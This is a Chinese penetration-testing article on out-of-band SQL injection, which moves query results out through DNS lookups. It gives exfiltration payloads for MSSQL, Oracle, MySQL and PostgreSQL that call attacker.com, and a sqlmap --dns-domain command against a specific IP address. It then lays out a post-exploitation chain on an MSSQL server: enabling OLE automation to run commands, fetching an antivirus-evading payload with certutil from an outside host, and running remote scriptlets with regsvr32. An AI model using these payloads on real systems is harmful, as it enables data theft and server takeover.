利用DNS实现SQL注入带外查询

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。

No.2

前言

在实战渗透测试过程中，经常碰到SQL注入点无法回显数据，获得sqlmap中os-shell也无法进一步getshell或是反弹shell，从而放弃继续深入。

No.3

什么是OOB

根据用于数据检索的传输信道，SQLi可分为三个独立的类别：inband, inference（推理） 和out-of-band。

Inband技术使用攻击者和有漏洞的Web应用程序之间现有的渠道来提取数据。通常该通道是标准的Web服务器响应。它的成员union技术使用现有的web页面输出恶意SQL查询的执行结果，而error-based技术则引发特定的恶意SQL查询的执行结果的DBMS的错误消息。

相反的，在Inference技术中，攻击者通过应用程序表现的差异来推断数据的值。Inference技术能够逐位提取恶意SQL查询结果，却没有真正传输数据。

Inference的核心是在服务器执行一系列的布尔查询，观察和最后推导接收结果的含义。根据观察到的特性，它的成员被称为布尔型盲注（bool）和基于时间（time-based）的盲注技术。在布尔型盲注技术中，网络服务器响应内容的变化用于区分逻辑的值（true/false），而在基于时间的盲注技术中则通过观察Web服务器响应时间(sleep/benchmark)的变化来推断答案。

Out-of-band (OOB)技术，与inband相反，使用其它传输信道获取数据，例如HTTP协议和DNS解析协议。当详细的错误信息被禁用（无回显）、结果被限制或过滤（被拦截）、出站过滤规则不严和/或当减少查询的数目变得极度重要时inference技术看起来像是唯一的选择，这时使用OOB技术渗透便变得十分有趣。

例如，基于HTTP的OOB技术的SQL查询结果变成了发送给HTTP服务器请求的一部分（例如GET参数值）被能访问日志文件的攻击者控制时。此类的技术不像其它的主流技术被广泛应用，主要是其所需的设置非常复杂，但使用它们可以克服许多障碍（如避免不必要的数据库写入和极大地提升利用INSERT/UPDATE语句漏洞的基于时间的SQL注入）。

No.4

DNS传输数据

需要先理解下DNS解析过程，看下面图即可：

在实际应用中，实现dns解析，有多种方法：

1. 使用burp suite 自带的Burp Collaborator client（方便好用，用于探测数据库服务器能否出网）

2. 搭建一个简易http服务器，如Python服务器（有域名最好）

3. 使用开放平台的ceye.io或是自己搭建的dnslog服务器（网上有很多类型平台和文章，不再做介绍）

4. 使用sqlmap中的—dns-domain参数

No.5

查询方法

1.MSSQL：

我们可以简单地使用master.dbo.xp_dirtree功能来执行DNS查询。该操作的主要目的是将文件放在目录下，但它也允许远程目录访问，这样我们就可以让我们的域运行并获得结果。语法如下所示：

DECLARE @data varchar(1024);

SELECT @data =(SELECT foo FROM bar);

EXEC('master..xp_dirtree“\'+ @ data +'.attacker.com  foo $”');

如果其他方法有任何问题，我们也可以使用像xp_fileexists和xp_subdirs这样的函数; 它们在语法上是相同的。

2.Oracle：

有UTL_INADDR.GET_HOST_ADDRESS

UTL_HTTP.REQUEST

HTTP_URITYPE.GETCLOB

和DBMS_LDAP.INIT

这些函数中的每一个都执行名称解析，其中一个示例用例是：

SELECT DBMS_LDAP.INIT（（SELECT foo FROM bar）||'.attacker.com'，80）FROM DUAL;

3.MySQL：

LOAD_FILE可用于解析域名

SELECT LOAD_FILE（CONCAT（'\\'，（SELECT foo FROM bar），'.atacker.com'));

4.PostgreSQL：

对于postgresql我们可以使用COPY函数，它基本上读取一个文件并将其内容复制到一个表中，语法如下：

DROP TABLE IF EXISTS table_output;

CREATE TABLE table_output(content text);

CREATE OR REPLACE FUNCTION temp_function

RETURNS VOID AS $$

DECLARE exec_cmd TEXT;

DECLARE query_result TEXT;

BEGIN

SELECT INTO query_result (SELECT foo FROM bar);

exec_cmd := E'COPY table_output(content) FROM E'\\\\'||query_result||E'.attacker.com\\foobar.txt'';

EXECUTE exec_cmd;

END;

$$ LANGUAGE plpgsql SECURITY DEFINER;

SELECT temp_function;

No.6

sqlmap --dns-domain回显

准备：一个控制的域名：opendns.online

例子：发现uid存在注入

sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --technique T --dbms mssql --level 5 --risk 3 --dns-domain opendns.online

使用tcpdump进行监听53d端口的udp流量：

tcpdump -i eth0 -s 0 -A -vvv 'udp and dst port 53

我们可以看到，sqlmap将查询响应放在两个随机字符串之间，并将我们的域名附加到它以执行dns请求。然后，在这些随机字符串的帮助下，它可以理解哪个请求响应特定查询并相应地生成结果。

No.7

思路延伸

看到有同事在实战应用中碰到很多障碍，需要扎实的基础，才能有许多技巧去绕过。碰到问题，解决问题，能够从中学习到很多。

dns解析已经很成熟，但只是一种辅助手段，本质还是需要对常用数据库特性有深入理解。

场景：

机器：windows 2008

数据库：MSSQL

注入点权限：DBA权限

服务器上安装：360+ESET NOD32 Antivirus

拥有—os-shell权限，能够执行命令（以前碰到这种环境，执行命令就结束了，现在有再好的思路，进一步获取shell）

面临的问题：

1.xp_cmdshell无法使用。

2.服务器安装了杀软，常规手段会被查杀和阻断。

3.虽然获得了os_shell终端，但无法回显执行情况。

解决思路：

1.sqlmap在判断xp_cmdshell无法调用情况下，sp_oacreate用于创建OLE对象实例。

开启相应功能：

EXEC sp_configure 'show advanced options', 1; 

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'show advanced options', 0;

执行（解析：sp_oacreate初始化创建一个OLE对象wscript.shell，使用sp_oamethod调用OLE对象的方法，cmd.exe执行whoami命令再输出到c盘who.txt文件）：

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',,'c:windowssystem32cmd.exe /c whoami >C:who.txt'

2.现在的问题是无法回显执行的结果，选择使用dnslog方式进行带外查询，这里先使用burp collaborator 判断能否出网，如果能够正常出网，搭建python http.server服务器用于接收回显信息。

3.使用os-shell>certutil -urlcache -split -f http://xx.xx.xx.xx:8000/1.exe下载payload（已免杀）。

4.接收回显信息判断是否下载、运行成功，同时使用wmic process call create "regsvr32 /s /n /u /i:http://xxx.xxx.xxx.xxx:8086/p.txt scrobj.dll"探测进程1.exe是否正常运行成功。

解决思路脑图如下：